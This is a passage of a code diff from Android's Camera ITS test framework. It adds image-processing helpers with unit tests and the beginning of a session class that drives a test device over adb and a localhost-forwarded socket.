+
+
+def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
+                             cap_res):
+  """Convert a Bayer raw-16 image to an RGB image.
+
+  Includes some extremely rudimentary demosaicking and color processing
+  operations; the output of this function shouldn't be used for any image
+  quality analysis.
+
+  Args:
+   r_plane:
+   gr_plane:
+   gb_plane:
+   b_plane: Numpy arrays for each color plane
+            in the Bayer image, with pixels in the [0.0, 1.0] range.
+   props: Camera properties object.
+   cap_res: Capture result (metadata) object.
+
+  Returns:
+    RGB float-3 image array, with pixel values in [0.0, 1.0]
+  """
+    # Values required for the RAW to RGB conversion.
+  assert props is not None
+  white_level = float(props['android.sensor.info.whiteLevel'])
+  black_levels = props['android.sensor.blackLevelPattern']
+  gains = cap_res['android.colorCorrection.gains']
+  ccm = cap_res['android.colorCorrection.transform']
+
+  # Reorder black levels and gains to R,Gr,Gb,B, to match the order
+  # of the planes.
+  black_levels = [get_black_level(i, props, cap_res) for i in range(4)]
+  gains = get_gains_in_canonical_order(props, gains)
+
+  # Convert CCM from rational to float, as numpy arrays.
+  ccm = numpy.array(capture_request_utils.rational_to_float(ccm)).reshape(3, 3)
+
+  # Need to scale the image back to the full [0,1] range after subtracting
+  # the black level from each pixel.
+  scale = white_level / (white_level - max(black_levels))
+
+  # Three-channel black levels, normalized to [0,1] by white_level.
+  black_levels = numpy.array(
+      [b / white_level for b in [black_levels[i] for i in [0, 1, 3]]])
+
+  # Three-channel gains.
+  gains = numpy.array([gains[i] for i in [0, 1, 3]])
+
+  h, w = r_plane.shape[:2]
+  img = numpy.dstack([r_plane, (gr_plane + gb_plane) / 2.0, b_plane])
+  img = (((img.reshape(h, w, 3) - black_levels) * scale) * gains).clip(0.0, 1.0)
+  img = numpy.dot(img.reshape(w * h, 3), ccm.T).reshape(h, w, 3).clip(0.0, 1.0)
+  return img
+
+
+def convert_y8_to_rgb_image(y_plane, w, h):
+  """Convert a Y 8-bit image to an RGB image.
+
+  Args:
+    y_plane: The packed 8-bit Y plane.
+    w: The width of the image.
+    h: The height of the image.
+
+  Returns:
+    RGB float-3 image array, with pixel values in [0.0, 1.0].
+  """
+  y3 = numpy.dstack([y_plane, y_plane, y_plane])
+  rgb = numpy.empty([h, w, 3], dtype=numpy.uint8)
+  rgb.reshape(w * h * 3)[:] = y3.reshape(w * h * 3)[:]
+  return rgb.astype(numpy.float32) / 255.0
+
+
+def write_image(img, fname, apply_gamma=False):
+  """Save a float-3 numpy array image to a file.
+
+  Supported formats: PNG, JPEG, and others; see PIL docs for more.
+
+  Image can be 3-channel, which is interpreted as RGB, or can be 1-channel,
+  which is greyscale.
+
+  Can optionally specify that the image should be gamma-encoded prior to
+  writing it out; this should be done if the image contains linear pixel
+  values, to make the image look "normal".
+
+  Args:
+   img: Numpy image array data.
+   fname: Path of file to save to; the extension specifies the format.
+   apply_gamma: (Optional) apply gamma to the image prior to writing it.
+  """
+  if apply_gamma:
+    img = apply_lut_to_image(img, DEFAULT_GAMMA_LUT)
+  (h, w, chans) = img.shape
+  if chans == 3:
+    Image.fromarray((img * 255.0).astype(numpy.uint8), 'RGB').save(fname)
+  elif chans == 1:
+    img3 = (img * 255.0).astype(numpy.uint8).repeat(3).reshape(h, w, 3)
+    Image.fromarray(img3, 'RGB').save(fname)
+  else:
+    raise error_util.CameraItsError('Unsupported image type')
+
+
+def apply_lut_to_image(img, lut):
+  """Applies a LUT to every pixel in a float image array.
+
+  Internally converts to a 16b integer image, since the LUT can work with up
+  to 16b->16b mappings (i.e. values in the range [0,65535]). The lut can also
+  have fewer than 65536 entries, however it must be sized as a power of 2
+  (and for smaller luts, the scale must match the bitdepth).
+
+  For a 16b lut of 65536 entries, the operation performed is:
+
+  lut[r * 65535] / 65535 -> r'
+  lut[g * 65535] / 65535 -> g'
+  lut[b * 65535] / 65535 -> b'
+
+  For a 10b lut of 1024 entries, the operation becomes:
+
+  lut[r * 1023] / 1023 -> r'
+  lut[g * 1023] / 1023 -> g'
+  lut[b * 1023] / 1023 -> b'
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+    lut: Numpy table encoding a LUT, mapping 16b integer values.
+
+  Returns:
+    Float image array after applying LUT to each pixel.
+  """
+  n = len(lut)
+  if n <= 0 or n > MAX_LUT_SIZE or (n & (n - 1)) != 0:
+    raise error_util.CameraItsError('Invalid arg LUT size: %d' % (n))
+  m = float(n - 1)
+  return (lut[(img * m).astype(numpy.uint16)] / m).astype(numpy.float32)
+
+
+def get_gains_in_canonical_order(props, gains):
+  """Reorders the gains tuple to the canonical R,Gr,Gb,B order.
+
+  Args:
+    props: Camera properties object.
+    gains: List of 4 values, in R,G_even,G_odd,B order.
+
+  Returns:
+    List of gains values, in R,Gr,Gb,B order.
+  """
+  cfa_pat = props['android.sensor.info.colorFilterArrangement']
+  if cfa_pat in [0, 1]:
+    # RGGB or GRBG, so G_even is Gr
+    return gains
+  elif cfa_pat in [2, 3]:
+    # GBRG or BGGR, so G_even is Gb
+    return [gains[0], gains[2], gains[1], gains[3]]
+  else:
+    raise error_util.CameraItsError('Not supported')
+
+
+def get_black_level(chan, props, cap_res=None):
+  """Return the black level to use for a given capture.
+
+  Uses a dynamic value from the capture result if available, else falls back
+  to the static global value in the camera characteristics.
+
+  Args:
+    chan: The channel index, in canonical order (R, Gr, Gb, B).
+    props: The camera properties object.
+    cap_res: A capture result object.
+
+  Returns:
+    The black level value for the specified channel.
+  """
+  if (cap_res is not None and
+      'android.sensor.dynamicBlackLevel' in cap_res and
+      cap_res['android.sensor.dynamicBlackLevel'] is not None):
+    black_levels = cap_res['android.sensor.dynamicBlackLevel']
+  else:
+    black_levels = props['android.sensor.blackLevelPattern']
+  idxs = get_canonical_cfa_order(props)
+  ordered_black_levels = [black_levels[i] for i in idxs]
+  return ordered_black_levels[chan]
+
+
+def get_canonical_cfa_order(props):
+  """Returns a mapping to the standard order R,Gr,Gb,B.
+
+  Returns a mapping from the Bayer 2x2 top-left grid in the CFA to the standard
+  order R,Gr,Gb,B.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     List of 4 integers, corresponding to the positions in the 2x2 top-
+     left Bayer grid of R,Gr,Gb,B, where the 2x2 grid is labeled as
+     0,1,2,3 in row major order.
+  """
+    # Note that raw streams aren't croppable, so the cropRegion doesn't need
+    # to be considered when determining the top-left pixel color.
+  cfa_pat = props['android.sensor.info.colorFilterArrangement']
+  if cfa_pat == 0:
+    # RGGB
+    return [0, 1, 2, 3]
+  elif cfa_pat == 1:
+    # GRBG
+    return [1, 0, 3, 2]
+  elif cfa_pat == 2:
+    # GBRG
+    return [2, 3, 0, 1]
+  elif cfa_pat == 3:
+    # BGGR
+    return [3, 2, 1, 0]
+  else:
+    raise error_util.CameraItsError('Not supported')
+
+
+def unpack_rawstats_capture(cap):
+  """Unpack a rawStats capture to the mean and variance images.
+
+  Args:
+    cap: A capture object as returned by its_session_utils.do_capture.
+
+  Returns:
+    Tuple (mean_image var_image) of float-4 images, with non-normalized
+    pixel values computed from the RAW16 images on the device
+  """
+  assert cap['format'] == 'rawStats'
+  w = cap['width']
+  h = cap['height']
+  img = numpy.ndarray(shape=(2 * h * w * 4,), dtype='<f', buffer=cap['data'])
+  analysis_image = img.reshape((2, h, w, 4))
+  mean_image = analysis_image[0, :, :, :].reshape(h, w, 4)
+  var_image = analysis_image[1, :, :, :].reshape(h, w, 4)
+  return mean_image, var_image
+
+
+def get_image_patch(img, xnorm, ynorm, wnorm, hnorm):
+  """Get a patch (tile) of an image.
+
+  Args:
+   img: Numpy float image array, with pixel values in [0,1].
+   xnorm:
+   ynorm:
+   wnorm:
+   hnorm: Normalized (in [0,1]) coords for the tile.
+
+  Returns:
+     Numpy float image array of the patch.
+  """
+  hfull = img.shape[0]
+  wfull = img.shape[1]
+  xtile = int(math.ceil(xnorm * wfull))
+  ytile = int(math.ceil(ynorm * hfull))
+  wtile = int(math.floor(wnorm * wfull))
+  htile = int(math.floor(hnorm * hfull))
+  if len(img.shape) == 2:
+    return img[ytile:ytile + htile, xtile:xtile + wtile].copy()
+  else:
+    return img[ytile:ytile + htile, xtile:xtile + wtile, :].copy()
+
+
+def compute_image_means(img):
+  """Calculate the mean of each color channel in the image.
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+
+  Returns:
+     A list of mean values, one per color channel in the image.
+  """
+  means = []
+  chans = img.shape[2]
+  for i in range(chans):
+    means.append(numpy.mean(img[:, :, i], dtype=numpy.float64))
+  return means
+
+
+def compute_image_variances(img):
+  """Calculate the variance of each color channel in the image.
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+
+  Returns:
+    A list of variance values, one per color channel in the image.
+  """
+  variances = []
+  chans = img.shape[2]
+  for i in range(chans):
+    variances.append(numpy.var(img[:, :, i], dtype=numpy.float64))
+  return variances
+
+
+def compute_image_sharpness(img):
+  """Calculate the sharpness of input image.
+
+  Args:
+    img: numpy float RGB/luma image array, with pixel values in [0,1].
+
+  Returns:
+    Sharpness estimation value based on the average of gradient magnitude.
+    Larger value means the image is sharper.
+  """
+  chans = img.shape[2]
+  assert chans == 1 or chans == 3
+  if chans == 1:
+    luma = img[:, :, 0]
+  else:
+    luma = convert_rgb_to_grayscale(img)
+  gy, gx = numpy.gradient(luma)
+  return numpy.average(numpy.sqrt(gy*gy + gx*gx))
+
+
+def compute_image_max_gradients(img):
+  """Calculate the maximum gradient of each color channel in the image.
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+
+  Returns:
+    A list of gradient max values, one per color channel in the image.
+  """
+  grads = []
+  chans = img.shape[2]
+  for i in range(chans):
+    grads.append(numpy.amax(numpy.gradient(img[:, :, i])))
+  return grads
+
+
+def compute_image_snrs(img):
+  """Calculate the SNR (dB) of each color channel in the image.
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+
+  Returns:
+    A list of SNR values in dB, one per color channel in the image.
+  """
+  means = compute_image_means(img)
+  variances = compute_image_variances(img)
+  std_devs = [math.sqrt(v) for v in variances]
+  snrs = [20 * math.log10(m/s) for m, s in zip(means, std_devs)]
+  return snrs
+
+
+def convert_rgb_to_grayscale(img):
+  """Convert and 3-D array RGB image to grayscale image.
+
+  Args:
+    img: numpy float RGB/luma image array, with pixel values in [0,1].
+
+  Returns:
+    2-D grayscale image
+  """
+  assert img.shape[2] == 3, 'Not an RGB image'
+  return 0.299*img[:, :, 0] + 0.587*img[:, :, 1] + 0.114*img[:, :, 2]
+
+
+def normalize_img(img):
+  """Normalize the image values to between 0 and 1.
+
+  Args:
+    img: 2-D numpy array of image values
+  Returns:
+    Normalized image
+  """
+  return (img - numpy.amin(img))/(numpy.amax(img) - numpy.amin(img))
+
+
+def rotate_img_per_argv(img):
+  """Rotate an image 180 degrees if "rotate" is in argv.
+
+  Args:
+    img: 2-D numpy array of image values
+  Returns:
+    Rotated image
+  """
+  img_out = img
+  if 'rotate180' in sys.argv:
+    img_out = numpy.fliplr(numpy.flipud(img_out))
+  return img_out
+
+
+def chart_located_per_argv(chart_loc_arg):
+  """Determine if chart already located outside of test.
+
+  If chart info provided, return location and size. If not, return None.
+  Args:
+   chart_loc_arg: chart_loc arg value.
+
+  Returns:
+    chart_loc:  float converted xnorm,ynorm,wnorm,hnorm,scale from argv
+    text.argv is of form 'chart_loc=0.45,0.45,0.1,0.1,1.0'
+  """
+  if chart_loc_arg:
+    return map(float, chart_loc_arg)
+  return None, None, None, None, None
+
+
+def stationary_lens_cap(cam, req, fmt):
+  """Take up to NUM_TRYS caps and save the 1st one with lens stationary.
+
+  Args:
+   cam: open device session
+   req: capture request
+   fmt: format for capture
+
+  Returns:
+    capture
+  """
+  tries = 0
+  done = False
+  reqs = [req] * NUM_FRAMES
+  while not done:
+    logging.debug('Waiting for lens to move to correct location.')
+    cap = cam.do_capture(reqs, fmt)
+    done = (cap[NUM_FRAMES - 1]['metadata']['android.lens.state'] == 0)
+    logging.debug('status: %s', done)
+    tries += 1
+    if tries == NUM_TRIES:
+      raise error_util.CameraItsError('Cannot settle lens after %d tries!' %
+                                      tries)
+  return cap[NUM_FRAMES - 1]
+
+
+def compute_image_rms_difference(rgb_x, rgb_y):
+  """Calculate the RMS difference between 2 RBG images.
+
+  Args:
+    rgb_x: image array
+    rgb_y: image array
+
+  Returns:
+    rms_diff
+  """
+  len_rgb_x = len(rgb_x)
+  assert len(rgb_y) == len_rgb_x, 'The images have different number of planes.'
+  return math.sqrt(sum([pow(rgb_x[i] - rgb_y[i], 2.0)
+                        for i in range(len_rgb_x)]) / len_rgb_x)
+
+
+class ImageProcessingUtilsTest(unittest.TestCase):
+  """Unit tests for this module."""
+  _SQRT_2 = numpy.sqrt(2)
+  _YUV_FULL_SCALE = 1023
+
+  def test_unpack_raw10_image(self):
+    """Unit test for unpack_raw10_image.
+
+    RAW10 bit packing format
+            bit 7   bit 6   bit 5   bit 4   bit 3   bit 2   bit 1   bit 0
+    Byte 0: P0[9]   P0[8]   P0[7]   P0[6]   P0[5]   P0[4]   P0[3]   P0[2]
+    Byte 1: P1[9]   P1[8]   P1[7]   P1[6]   P1[5]   P1[4]   P1[3]   P1[2]
+    Byte 2: P2[9]   P2[8]   P2[7]   P2[6]   P2[5]   P2[4]   P2[3]   P2[2]
+    Byte 3: P3[9]   P3[8]   P3[7]   P3[6]   P3[5]   P3[4]   P3[3]   P3[2]
+    Byte 4: P3[1]   P3[0]   P2[1]   P2[0]   P1[1]   P1[0]   P0[1]   P0[0]
+    """
+    # Test using a random 4x4 10-bit image
+    img_w, img_h = 4, 4
+    check_list = random.sample(range(0, 1024), img_h*img_w)
+    img_check = numpy.array(check_list).reshape(img_h, img_w)
+
+    # Pack bits
+    for row_start in range(0, len(check_list), img_w):
+      msbs = []
+      lsbs = ''
+      for pixel in range(img_w):
+        val = numpy.binary_repr(check_list[row_start+pixel], 10)
+        msbs.append(int(val[:8], base=2))
+        lsbs = val[8:] + lsbs
+      packed = msbs
+      packed.append(int(lsbs, base=2))
+      chunk_raw10 = numpy.array(packed, dtype='uint8').reshape(1, 5)
+      if row_start == 0:
+        img_raw10 = chunk_raw10
+      else:
+        img_raw10 = numpy.vstack((img_raw10, chunk_raw10))
+
+    # Unpack and check against original
+    self.assertTrue(numpy.array_equal(unpack_raw10_image(img_raw10),
+                                      img_check))
+
+  def test_compute_image_sharpness(self):
+    """Unit test for compute_img_sharpness.
+
+    Tests by using PNG of ISO12233 chart and blurring intentionally.
+    'sharpness' should drop off by sqrt(2) for 2x blur of image.
+
+    We do one level of initial blur as PNG image is not perfect.
+    """
+    blur_levels = [2, 4, 8]
+    chart_file = os.path.join(TEST_IMG_DIR, 'ISO12233.png')
+    chart = cv2.imread(chart_file, cv2.IMREAD_ANYDEPTH)
+    white_level = numpy.amax(chart).astype(float)
+    sharpness = {}
+    for blur in blur_levels:
+      chart_blurred = cv2.blur(chart, (blur, blur))
+      chart_blurred = chart_blurred[:, :, numpy.newaxis]
+      sharpness[blur] = self._YUV_FULL_SCALE * compute_image_sharpness(
+          chart_blurred / white_level)
+
+    for i in range(len(blur_levels)-1):
+      self.assertTrue(numpy.isclose(
+          sharpness[blur_levels[i]]/sharpness[blur_levels[i+1]], self._SQRT_2,
+          atol=0.1))
+
+  def test_apply_lut_to_image(self):
+    """Unit test for apply_lut_to_image.
+
+    Test by using a canned set of values on a 1x1 pixel image.
+    The look-up table should double the value of the index: lut[x] = x*2
+    """
+    ref_image = [0.1, 0.2, 0.3]
+    lut_max = 65536
+    lut = numpy.array([i*2 for i in range(lut_max)])
+    x = numpy.array(ref_image).reshape(1, 1, 3)
+    y = apply_lut_to_image(x, lut).reshape(3).tolist()
+    y_ref = [i*2 for i in ref_image]
+    self.assertTrue(numpy.allclose(y, y_ref, atol=1/lut_max))
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS2.0/utils/its_session_utils.py b/apps/CameraITS2.0/utils/its_session_utils.py
new file mode 100644
index 0000000..224b5ca
--- /dev/null
+++ b/apps/CameraITS2.0/utils/its_session_utils.py
@@ -0,0 +1,1230 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import collections
+import json
+import logging
+import math
+import os
+import socket
+import subprocess
+import sys
+import time
+import unicodedata
+import unittest
+
+import numpy
+
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import error_util
+import image_processing_utils
+
+LOAD_SCENE_DELAY_SEC = 3
+SUB_CAMERA_SEPARATOR = '.'
+_G_CHANNEL = 1
+_VALIDATE_LIGHTING_PATCH_H = 0.05
+_VALIDATE_LIGHTING_PATCH_W = 0.05
+_VALIDATE_LIGHTING_REGIONS = {
+    'top-left': (0, 0),
+    'top-right': (0, 1-_VALIDATE_LIGHTING_PATCH_H),
+    'bottom-left': (1-_VALIDATE_LIGHTING_PATCH_W, 0),
+    'bottom-right': (1-_VALIDATE_LIGHTING_PATCH_W,
+                     1-_VALIDATE_LIGHTING_PATCH_H),
+}
+_VALIDATE_LIGHTING_THRESH = 0.1  # Determined empirically from scene[1:6] tests
+
+
+class ItsSession(object):
+  """Controls a device over adb to run ITS scripts.
+
+    The script importing this module (on the host machine) prepares JSON
+    objects encoding CaptureRequests, specifying sets of parameters to use
+    when capturing an image using the Camera2 APIs. This class encapsulates
+    sending the requests to the device, monitoring the device's progress, and
+    copying the resultant captures back to the host machine when done. TCP
+    forwarded over adb is the transport mechanism used.
+
+    The device must have CtsVerifier.apk installed.
+
+    Attributes:
+        sock: The open socket.
+  """
+
+  # Open a connection to localhost:<host_port>, forwarded to port 6000 on the
+  # device. <host_port> is determined at run-time to support multiple
+  # connected devices.
+  IPADDR = '127.0.0.1'
+  REMOTE_PORT = 6000
+  BUFFER_SIZE = 4096
+
+  # LOCK_PORT is used as a mutex lock to protect the list of forwarded ports
+  # among all processes. The script assumes LOCK_PORT is available and will
+  # try to use ports between CLIENT_PORT_START and
+  # CLIENT_PORT_START+MAX_NUM_PORTS-1 on host for ITS sessions.
+  CLIENT_PORT_START = 6000
+  MAX_NUM_PORTS = 100
+  LOCK_PORT = CLIENT_PORT_START + MAX_NUM_PORTS
+
+  # Seconds timeout on each socket operation.
+  SOCK_TIMEOUT = 20.0
+  # Additional timeout in seconds when ITS service is doing more complicated
+  # operations, for example: issuing warmup requests before actual capture.
+  EXTRA_SOCK_TIMEOUT = 5.0
+
+  PACKAGE = 'com.android.cts.verifier.camera.its'
+  INTENT_START = 'com.android.cts.verifier.camera.its.START'
+
+  # This string must be in sync with ItsService. Updated when interface
+  # between script and ItsService is changed.
+  ITS_SERVICE_VERSION = '1.0'
+
+  SEC_TO_NSEC = 1000*1000*1000.0
+  adb = 'adb -d'
+
+  # Predefine camera props. Save props extracted from the function,
+  # "get_camera_properties".
+  props = None
+
+  IMAGE_FORMAT_LIST_1 = [
+      'jpegImage', 'rawImage', 'raw10Image', 'raw12Image', 'rawStatsImage',
+      'dngImage', 'y8Image'
+  ]
+
+  IMAGE_FORMAT_LIST_2 = [
+      'jpegImage', 'rawImage', 'raw10Image', 'raw12Image', 'rawStatsImage',
+      'yuvImage'
+  ]
+
+  CAP_JPEG = {'format': 'jpeg'}
+  CAP_RAW = {'format': 'raw'}
+  CAP_YUV = {'format': 'yuv'}
+  CAP_RAW_YUV = [{'format': 'raw'}, {'format': 'yuv'}]
+
+  def __init_socket_port(self):
+    """Initialize the socket port for the host to forward requests to the device.
+
+    This method assumes localhost's LOCK_PORT is available and will try to
+    use ports between CLIENT_PORT_START and CLIENT_PORT_START+MAX_NUM_PORTS-1
+    """
+    num_retries = 100
+    retry_wait_time_sec = 0.05
+
+    # Bind a socket to use as mutex lock
+    socket_lock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    for i in range(num_retries):
+      try:
+        socket_lock.bind((ItsSession.IPADDR, ItsSession.LOCK_PORT))
+        break
+      except (socket.error, socket.timeout):
+        if i == num_retries - 1:
+          raise error_util.CameraItsError(self._device_id,
+                                          'socket lock returns error')
+        else:
+          time.sleep(retry_wait_time_sec)
+
+    # Check if a port is already assigned to the device.
+    command = 'adb forward --list'
+    proc = subprocess.Popen(command.split(), stdout=subprocess.PIPE)
+    # pylint: disable=unused-variable
+    output, error = proc.communicate()
+    port = None
+    used_ports = []
+    for line  in output.decode('utf-8').split(os.linesep):
+      # each line should be formatted as:
+      # "<device_id> tcp:<host_port> tcp:<remote_port>"
+      forward_info = line.split()
+      if len(forward_info) >= 3 and len(
+          forward_info[1]) > 4 and forward_info[1][:4] == 'tcp:' and len(
+              forward_info[2]) > 4 and forward_info[2][:4] == 'tcp:':
+        local_p = int(forward_info[1][4:])
+        remote_p = int(forward_info[2][4:])
+        if forward_info[
+            0] == self._device_id and remote_p == ItsSession.REMOTE_PORT:
+          port = local_p
+          break
+        else:
+          used_ports.append(local_p)
+
+      # Find the first available port if no port is assigned to the device.
+    if port is None:
+      for p in range(ItsSession.CLIENT_PORT_START,
+                     ItsSession.CLIENT_PORT_START + ItsSession.MAX_NUM_PORTS):
+        if self.check_port_availability(p, used_ports):
+          port = p
+          break
+
+    if port is None:
+      raise error_util.CameraItsError(self._device_id,
+                                      ' cannot find an available ' + 'port')
+
+    # Release the socket as mutex unlock
+    socket_lock.close()
+
+    # Connect to the socket
+    self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    self.sock.connect((self.IPADDR, port))
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+
+  def check_port_availability(self, check_port, used_ports):
+    """Check if the port is available or not.
+
+    Args:
+      check_port: Port to check for availability
+      used_ports: List of used ports
+
+    Returns:
+     True if the given port is available and can be assigned to the device.
+    """
+    if check_port not in used_ports:
+      # Try to run "adb forward" with the port
+      command = '%s forward tcp:%d tcp:%d' % \
+                       (self.adb, check_port, self.REMOTE_PORT)
+      proc = subprocess.Popen(
+          command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+      error = proc.communicate()[1]
+
+      # Check if there is no error
+      if error is None or error.find('error'.encode()) < 0:
+        return True
+      else:
+        return False
+
+  def __wait_for_service(self):
+    """Wait for ItsService to be ready and reboot the device if needed.
+
+    This also includes the optional reboot handling: if the user
+    provides a "reboot" or "reboot=N" arg, then reboot the device,
+    waiting for N seconds (default 30) before returning.
+    """
+
+    for s in sys.argv[1:]:
+      if s[:6] == 'reboot':
+        duration = 30
+        if len(s) > 7 and s[6] == '=':
+          duration = int(s[7:])
+        logging.debug('Rebooting device')
+        _run('%s reboot' % (self.adb))
+        _run('%s wait-for-device' % (self.adb))
+        time.sleep(duration)
+        logging.debug('Reboot complete')
+
+    # Flush logcat so following code won't be misled by previous
+    # 'ItsService ready' log.
+    _run('%s logcat -c' % (self.adb))
+    time.sleep(1)
+
+    _run('%s shell am force-stop --user 0 %s' % (self.adb, self.PACKAGE))
+    _run(('%s shell am start-foreground-service --user 0 -t text/plain '
+          '-a %s') % (self.adb, self.INTENT_START))
+
+    # Wait until the socket is ready to accept a connection.
+    proc = subprocess.Popen(
+        self.adb.split() + ['logcat'], stdout=subprocess.PIPE)
+    logcat = proc.stdout
+    while True:
+      line = logcat.readline().strip()
+      if line.find(b'ItsService ready') >= 0:
+        break
+    proc.kill()
+    proc.communicate()
+
+  def __init__(self, device_id=None, camera_id=None, hidden_physical_id=None):
+    self._camera_id = camera_id
+    self._device_id = device_id
+    self._hidden_physical_id = hidden_physical_id
+
+  def __enter__(self):
+    # Initialize device id and adb command.
+    self.adb = 'adb -s ' + self._device_id
+    self.__wait_for_service()
+    self.__init_socket_port()
+
+    self.__close_camera()
+    self.__open_camera()
+    return self
+
+  def __exit__(self, exec_type, exec_value, exec_traceback):
+    if hasattr(self, 'sock') and self.sock:
+      self.__close_camera()
+      self.sock.close()
+    return False
+
+  def override_with_hidden_physical_camera_props(self, props):
+    """Check that it is a valid sub-camera backing the logical camera.
+
+    If current session is for a hidden physical camera, check that it is a valid
+    sub-camera backing the logical camera, override self.props, and return the
+    characteristics of sub-camera. Otherwise, return "props" directly.
+
+    Args:
+     props: Camera properties object.
+
+    Returns:
+     The properties of the hidden physical camera if possible.
+    """
+    if self._hidden_physical_id:
+      if not camera_properties_utils.logical_multi_camera(props):
+        raise AssertionError(f'{self._camera_id} is not a logical multi-camera')
+      physical_ids = camera_properties_utils.logical_multi_camera_physical_ids(
+          props)
+      if self._hidden_physical_id not in physical_ids:
+        raise AssertionError(f'{self._hidden_physical_id} is not a hidden '
+                             f'sub-camera of {self._camera_id}')
+      props = self.get_camera_properties_by_id(self._hidden_physical_id)
+      self.props = props
+    return props
+
+  def get_camera_properties(self):
+    """Get the camera properties object for the device.
+
+    Returns:
+     The Python dictionary object for the CameraProperties object.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'getCameraProperties'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraProperties':
+      raise error_util.CameraItsError('Invalid command response')
+    self.props = data['objValue']['cameraProperties']
+    return data['objValue']['cameraProperties']
+
+  def get_camera_properties_by_id(self, camera_id):
+    """Get the camera properties object for device with camera_id.
+
+    Args:
+     camera_id: The ID string of the camera
+
+    Returns:
+     The Python dictionary object for the CameraProperties object. Empty
+     if no such device exists.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'getCameraPropertiesById'
+    cmd['cameraId'] = camera_id
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraProperties':
+      raise error_util.CameraItsError('Invalid command response')
+    return data['objValue']['cameraProperties']
+
+  def __read_response_from_socket(self):
+    """Reads a line (newline-terminated) string serialization of JSON object.
+
+    Returns:
+     Deserialized json obj.
+    """
+    chars = []
+    while not chars or chars[-1] != '\n':
+      ch = self.sock.recv(1).decode('utf-8')
+      if not ch:
+        # Socket was probably closed; otherwise don't get empty strings
+        raise error_util.CameraItsError('Problem with socket on device side')
+      chars.append(ch)
+    line = ''.join(chars)
+    jobj = json.loads(line)
+    # Optionally read a binary buffer of a fixed size.
+    buf = None
+    if 'bufValueSize' in jobj:
+      n = jobj['bufValueSize']
+      buf = bytearray(n)
+      view = memoryview(buf)
+      while n > 0:
+        nbytes = self.sock.recv_into(view, n)
+        view = view[nbytes:]
+        n -= nbytes
+      buf = numpy.frombuffer(buf, dtype=numpy.uint8)
+    return jobj, buf
+
+  def __open_camera(self):
+    """Get the camera ID to open if it is an argument as a single camera.
+
+    This allows passing camera=# to individual tests at command line
+    and camera=#,#,# or an no camera argv with tools/run_all_tests.py.
+    In case the camera is a logical multi-camera, to run ITS on the
+    hidden physical sub-camera, pass camera=[logical ID]:[physical ID]
+    to an individual test at the command line, and same applies to multiple
+    camera IDs for tools/run_all_tests.py: camera=#,#:#,#:#,#
+    """
+    if not self._camera_id:
+      self._camera_id = 0
+      for s in sys.argv[1:]:
+        if s[:7] == 'camera=' and len(s) > 7:
+          camera_ids = s[7:].split(',')
+          camera_id_combos = parse_camera_ids(camera_ids)
+          if len(camera_id_combos) == 1:
+            self._camera_id = camera_id_combos[0].id
+            self._hidden_physical_id = camera_id_combos[0].sub_id
+
+    logging.debug('Opening camera: %s', self._camera_id)
+    cmd = {'cmdName': 'open', 'cameraId': self._camera_id}
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraOpened':
+      raise error_util.CameraItsError('Invalid command response')
+
+  def __close_camera(self):
+    cmd = {'cmdName': 'close'}
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraClosed':
+      raise error_util.CameraItsError('Invalid command response')
+
+  def get_sensors(self):
+    """Get all sensors on the device.
+
+    Returns:
+       A Python dictionary that returns keys and booleans for each sensor.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'checkSensorExistence'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'sensorExistence':
+      raise error_util.CameraItsError('Invalid response for command: %s' %
+                                      cmd['cmdName'])
+    return data['objValue']
+
+  def start_sensor_events(self):
+    """Start collecting sensor events on the device.
+
+    See get_sensor_events for more info.
+
+    Returns:
+       Nothing.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'startSensorEvents'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'sensorEventsStarted':
+      raise error_util.CameraItsError('Invalid response for command: %s' %
+                                      cmd['cmdName'])
+
+  def get_sensor_events(self):
+    """Get a trace of all sensor events on the device.
+
+        The trace starts when the start_sensor_events function is called. If
+        the test runs for a long time after this call, then the device's
+        internal memory can fill up. Calling get_sensor_events gets all events
+        from the device, and then stops the device from collecting events and
+        clears the internal buffer; to start again, the start_sensor_events
+        call must be used again.
+
+        Events from the accelerometer, compass, and gyro are returned; each
+        has a timestamp and x,y,z values.
+
+        Note that sensor events are only produced if the device isn't in its
+        standby mode (i.e.) if the screen is on.
+
+    Returns:
+            A Python dictionary with three keys ("accel", "mag", "gyro") each
+            of which maps to a list of objects containing "time","x","y","z"
+            keys.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'getSensorEvents'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
